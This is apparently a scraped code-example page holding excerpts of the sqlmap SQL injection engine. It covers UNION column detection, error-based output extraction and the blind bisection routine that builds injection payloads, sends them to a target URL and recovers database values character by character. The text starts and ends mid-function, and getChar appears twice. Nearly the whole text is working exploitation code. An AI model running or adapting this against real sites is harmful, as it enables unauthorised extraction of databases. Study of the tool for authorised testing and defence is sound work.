        query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix,
                                      kb.uChar, where)
        payload = agent.payload(place=place,
                                parameter=parameter,
                                newValue=query,
                                where=where)
        page, headers = Request.queryPage(payload,
                                          place=place,
                                          content=True,
                                          raise404=False)
        if not isNullValue(kb.uChar):
            pages[count] = page
        ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
        ratios.append(ratio)
        min_, max_ = min(min_, ratio), max(max_, ratio)
        items.append((count, ratio))

    if not isNullValue(kb.uChar):
        for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
            contains = [(count, re.search(regex, page or "", re.IGNORECASE)
                         is not None) for count, page in pages.items()]
            if len(filter(lambda x: x[1], contains)) == 1:
                retVal = filter(lambda x: x[1], contains)[0][0]
                break

    if not retVal:
        ratios.pop(ratios.index(min_))
        ratios.pop(ratios.index(max_))

        minItem, maxItem = None, None

        for item in items:
            if item[1] == min_:
                minItem = item
            elif item[1] == max_:
                maxItem = item

        if all(map(lambda x: x == min_ and x != max_, ratios)):
            retVal = maxItem[0]

        elif all(map(lambda x: x != min_ and x == max_, ratios)):
            retVal = minItem[0]

        elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
            deviation = stdev(ratios)
            lower, upper = average(
                ratios) - UNION_STDEV_COEFF * deviation, average(
                    ratios) + UNION_STDEV_COEFF * deviation

            if min_ < lower:
                retVal = minItem[0]

            if max_ > upper:
                if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                    retVal = maxItem[0]

    kb.errorIsNone = popValue()

    if retVal:
        infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
        singleTimeLogMessage(infoMsg)

    return retVal
Example #37
0
def __oneShotErrorUse(expression, field=None):
    offset = 1
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
        dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), __formatPartialContent(partialValue)))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if Backend.isDbms(DBMS.MYSQL):
        chunk_length = MYSQL_ERROR_CHUNK_LENGTH
    elif Backend.isDbms(DBMS.MSSQL):
        chunk_length = MSSQL_ERROR_CHUNK_LENGTH
    else:
        chunk_length = None

    if retVal is None or partialValue:
        try:
            while True:
                check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
                trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
                        nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)

                # Forge the error-based SQL injection request
                vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
                injExpression = unescaper.unescape(injExpression)
                injExpression = query.replace("[QUERY]", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers = Request.queryPage(payload, content=True)

                incrementCounter(PAYLOAD.TECHNIQUE.ERROR)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = reduce(lambda x, y: x if x is not None else y, [ \
                        extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, listToStrValue(headers.headers \
                        if headers else None), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \
                        None)

                if output is not None:
                    output = getUnicode(output, kb.pageEncoding)
                else:
                    trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, listToStrValue(headers.headers \
                        if headers else None), re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                    if trimmed:
                        warnMsg = "possible server trimmed output detected (due to its length): "
                        warnMsg += safecharencode(trimmed)
                        logger.warn(warnMsg)

                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and len(output) >= chunk_length:
                        offset += chunk_length
                    else:
                        break

                    if kb.fileReadMode and output:
                        dataToStdout(__formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
                else:
                    retVal = output
                    break
        except:
            hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, basestring):
            retVal = htmlunescape(retVal).replace("<br>", "\n")

        retVal = __errorReplaceChars(retVal)

        hashDBWrite(expression, retVal)

    else:
        _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal
Example #38
0
        def getChar(idx,
                    charTbl=None,
                    continuousOrder=True,
                    expand=charsetType is None,
                    shiftTable=None,
                    retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try:
                                    lastChar = [
                                        _ for _ in threadData.shared.value
                                        if _ is not None
                                    ][-1]
                                except IndexError:
                                    lastChar = None
                                if 'a' <= lastChar <= 'z':
                                    position = charTbl.index(ord('a') -
                                                             1)  # 96
                                elif 'A' <= lastChar <= 'Z':
                                    position = charTbl.index(ord('A') -
                                                             1)  # 64
                                elif '0' <= lastChar <= '9':
                                    position = charTbl.index(ord('0') -
                                                             1)  # 47
                            except ValueError:
                                pass
                            finally:
                                firstCheck = True

                        elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                            if charTbl[(len(charTbl) >> 1)] < ord(' '):
                                try:
                                    # favorize last char check if current value inclines toward 0
                                    position = charTbl.index(1)
                                except ValueError:
                                    pass
                                finally:
                                    lastCheck = True

                    if position is None:
                        position = (len(charTbl) >> 1)

                    posValue = charTbl[position]
                    falsePayload = None

                    if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx, posValue))
                        falsePayload = safeStringFormat(
                            payload,
                            (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                    else:
                        # e.g.: ... > '%c' -> ... > ORD(..)
                        markingValue = "'%s'" % CHAR_INFERENCE_MARK
                        unescapedCharValue = unescaper.escape(
                            "'%s'" % decodeIntToUnicode(posValue))
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, unescapedCharValue)
                        falsePayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, NULL)

                    if timeBasedCompare:
                        if kb.responseTimeMode:
                            kb.responseTimePayload = falsePayload
                        else:
                            kb.responseTimePayload = None

                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(kb.technique)

                    if not timeBasedCompare:
                        unexpectedCode |= threadData.lastCode not in (
                            kb.injection.data[kb.technique].falseCode,
                            kb.injection.data[kb.technique].trueCode)
                        if unexpectedCode:
                            warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
                            singleTimeWarnMessage(warnMsg)

                    if result:
                        minValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
                            charTbl = xrange(charTbl[position],
                                             charTbl[-1] + 1)
                    else:
                        maxValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])

                    if len(charTbl) == 1:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(
                                    maxChar + 1,
                                    (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (
                                    retVal == ord('\n')
                                    and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode
                                    ) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if retried < MAX_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = "increasing time delay to %d second%s" % (
                                                    conf.timeSec, 's' if
                                                    conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = "turning off time auto-adjustment mechanism"
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl,
                                                       continuousOrder, expand,
                                                       shiftTable,
                                                       (retried or 0) + 1)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
                                            retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
            else:
                candidates = list(originalTbl)
                bit = 0
                while len(candidates) > 1:
                    bits = {}
                    for candidate in candidates:
                        bit = 0
                        while candidate:
                            bits.setdefault(bit, 0)
                            bits[bit] += 1 if candidate & 1 else -1
                            candidate >>= 1
                            bit += 1

                    choice = sorted(bits.items(),
                                    key=lambda _: abs(_[1]))[0][0]
                    mask = 1 << choice

                    forgedPayload = safeStringFormat(
                        payload.replace(
                            INFERENCE_GREATER_CHAR,
                            "&%d%s" % (mask, INFERENCE_GREATER_CHAR)),
                        (expressionUnescaped, idx, 0))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(kb.technique)

                    if result:
                        candidates = [_ for _ in candidates if _ & mask > 0]
                    else:
                        candidates = [_ for _ in candidates if _ & mask == 0]

                    bit += 1

                if candidates:
                    forgedPayload = safeStringFormat(
                        payload.replace(INFERENCE_GREATER_CHAR,
                                        INFERENCE_EQUALS_CHAR),
                        (expressionUnescaped, idx, candidates[0]))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(kb.technique)

                    if result:
                        return decodeIntToUnicode(candidates[0])
Example #39
0
def bisection(payload,
              expression,
              length=None,
              charsetType=None,
              firstChar=None,
              lastChar=None,
              dump=False):
    """
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """

    abortedFlag = False
    showEta = False
    partialValue = u""
    finalValue = None
    retrievedLength = 0

    if payload is None:
        return 0, None

    if charsetType is None and conf.charset:
        asciiTbl = sorted(set(ord(_) for _ in conf.charset))
    else:
        asciiTbl = getCharset(charsetType)

    threadData = getCurrentThreadData()
    timeBasedCompare = (kb.technique
                        in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
            pass
        elif PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = "resumed: %s" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif conf.api:
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
            firstChar = 0
        elif (kb.fileReadMode or dump) and conf.firstChar is not None and (
                isinstance(conf.firstChar, int) or
            (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
            if kb.fileReadMode:
                firstChar <<= 1
        elif hasattr(firstChar,
                     "isdigit") and firstChar.isdigit() or isinstance(
                         firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
            lastChar = 0
        elif dump and conf.lastChar is not None and (
                isinstance(conf.lastChar, int) or
            (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(
                lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr,
                                                    nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if hasattr(length, "isdigit") and length.isdigit() or isinstance(
                length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, ""

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length) or 1

        if showEta:
            progress = ProgressBar(maxValue=length)

        if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
            warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare or conf.forceThreads:
                debugMsg = "starting %d thread%s" % (numThreads,
                                                     ("s" if numThreads > 1
                                                      else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = "running in a single-thread mode. Please consider "
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta and not conf.api:
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" %
                             (time.strftime("%X"),
                              "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if payload is not None and hintValue is not None and len(
                    hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS,
                                                   DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = agent.extractPayload(payload)
                forgedPayload = safeStringFormat(
                    forgedPayload.replace(INFERENCE_GREATER_CHAR,
                                          INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, posValue))
                result = Request.queryPage(agent.replacePayload(
                    payload, forgedPayload),
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """

            validationPayload = re.sub(
                r"(%s.*?)%s(.*?%s)" %
                (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER),
                r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(
                    validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(
                    "'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(
                    validationPayload, (expressionUnescaped, idx)).replace(
                        markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)

            if result and timeBasedCompare and kb.injection.data[
                    kb.technique].trueCode:
                result = threadData.lastCode == kb.injection.data[
                    kb.technique].trueCode
                if not result:
                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (
                        threadData.lastCode,
                        kb.injection.data[kb.technique].trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(kb.technique)

            return result

        def getChar(idx,
                    charTbl=None,
                    continuousOrder=True,
                    expand=charsetType is None,
                    shiftTable=None,
                    retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try:
                                    lastChar = [
                                        _ for _ in threadData.shared.value
                                        if _ is not None
                                    ][-1]
                                except IndexError:
                                    lastChar = None
                                if 'a' <= lastChar <= 'z':
                                    position = charTbl.index(ord('a') -
                                                             1)  # 96
                                elif 'A' <= lastChar <= 'Z':
                                    position = charTbl.index(ord('A') -
                                                             1)  # 64
                                elif '0' <= lastChar <= '9':
                                    position = charTbl.index(ord('0') -
                                                             1)  # 47
                            except ValueError:
                                pass
                            finally:
                                firstCheck = True

                        elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                            if charTbl[(len(charTbl) >> 1)] < ord(' '):
                                try:
                                    # favorize last char check if current value inclines toward 0
                                    position = charTbl.index(1)
                                except ValueError:
                                    pass
                                finally:
                                    lastCheck = True

                    if position is None:
                        position = (len(charTbl) >> 1)

                    posValue = charTbl[position]
                    falsePayload = None

                    if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx, posValue))
                        falsePayload = safeStringFormat(
                            payload,
                            (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                    else:
                        # e.g.: ... > '%c' -> ... > ORD(..)
                        markingValue = "'%s'" % CHAR_INFERENCE_MARK
                        unescapedCharValue = unescaper.escape(
                            "'%s'" % decodeIntToUnicode(posValue))
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, unescapedCharValue)
                        falsePayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, NULL)

                    if timeBasedCompare:
                        if kb.responseTimeMode:
                            kb.responseTimePayload = falsePayload
                        else:
                            kb.responseTimePayload = None

                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(kb.technique)

                    if not timeBasedCompare:
                        unexpectedCode |= threadData.lastCode not in (
                            kb.injection.data[kb.technique].falseCode,
                            kb.injection.data[kb.technique].trueCode)
                        if unexpectedCode:
                            warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
                            singleTimeWarnMessage(warnMsg)

                    if result:
                        minValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
                            charTbl = xrange(charTbl[position],
                                             charTbl[-1] + 1)
                    else:
                        maxValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])

                    if len(charTbl) == 1:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(
                                    maxChar + 1,
                                    (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (
                                    retVal == ord('\n')
                                    and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode
                                    ) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if retried < MAX_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = "increasing time delay to %d second%s" % (
                                                    conf.timeSec, 's' if
                                                    conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = "turning off time auto-adjustment mechanism"
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl,
                                                       continuousOrder, expand,
                                                       shiftTable,
                                                       (retried or 0) + 1)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
                                            retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
            else:
                candidates = list(originalTbl)
                bit = 0
                while len(candidates) > 1:
                    bits = {}
                    for candidate in candidates:
                        bit = 0
                        while candidate:
                            bits.setdefault(bit, 0)
                            bits[bit] += 1 if candidate & 1 else -1
                            candidate >>= 1
                            bit += 1

                    choice = sorted(bits.items(),
                                    key=lambda _: abs(_[1]))[0][0]
                    mask = 1 << choice

                    forgedPayload = safeStringFormat(
                        payload.replace(
                            INFERENCE_GREATER_CHAR,
                            "&%d%s" % (mask, INFERENCE_GREATER_CHAR)),
                        (expressionUnescaped, idx, 0))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(kb.technique)

                    if result:
                        candidates = [_ for _ in candidates if _ & mask > 0]
                    else:
                        candidates = [_ for _ in candidates if _ & mask == 0]

                    bit += 1

                if candidates:
                    forgedPayload = safeStringFormat(
                        payload.replace(INFERENCE_GREATER_CHAR,
                                        INFERENCE_EQUALS_CHAR),
                        (expressionUnescaped, idx, candidates[0]))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(kb.technique)

                    if result:
                        return decodeIntToUnicode(candidates[0])

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData.shared.value = [None] * length
            threadData.shared.index = [
                firstChar
            ]  # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:

                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.index:
                            if threadData.shared.index[0] - firstChar >= length:
                                return

                            threadData.shared.index[0] += 1
                            currentCharIndex = threadData.shared.index[0]

                        if kb.threadContinue:
                            val = getChar(
                                currentCharIndex, asciiTbl,
                                not (charsetType is None and conf.charset))
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[currentCharIndex - 1 -
                                                    firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex,
                                                endCharIndex + 1):
                                    output += '_' if currentValue[
                                        i] is None else filterControlChars(
                                            currentValue[i] if len(
                                                currentValue[i]) == 1 else ' ',
                                            replacement=' ')

                                for i in xrange(length):
                                    count += 1 if currentValue[
                                        i] is not None else 0

                                if startCharIndex > 0:
                                    output = ".." + output[2:]

                                if (endCharIndex - startCharIndex
                                        == conf.progressWidth) and (
                                            endCharIndex < length - 1):
                                    output = output[:-2] + ".."

                                if conf.verbose in (
                                        1, 2) and not showEta and not conf.api:
                                    _ = count - firstChar
                                    output += '_' * (
                                        min(length, conf.progressWidth) -
                                        len(output))
                                    status = ' %d/%d (%d%%)' % (
                                        _, length, int(100.0 * _ / length))
                                    output += status if _ != length else " " * len(
                                        status)

                                    dataToStdout(
                                        "\r[%s] [INFO] retrieved: %s" %
                                        (time.strftime("%X"), output))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (
                        time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (
                    time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (
                    1, 2) and not showEta and infoMsg and not conf.api:
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar
            threadData.shared.value = ""

            while True:
                index += 1

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(
                        partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
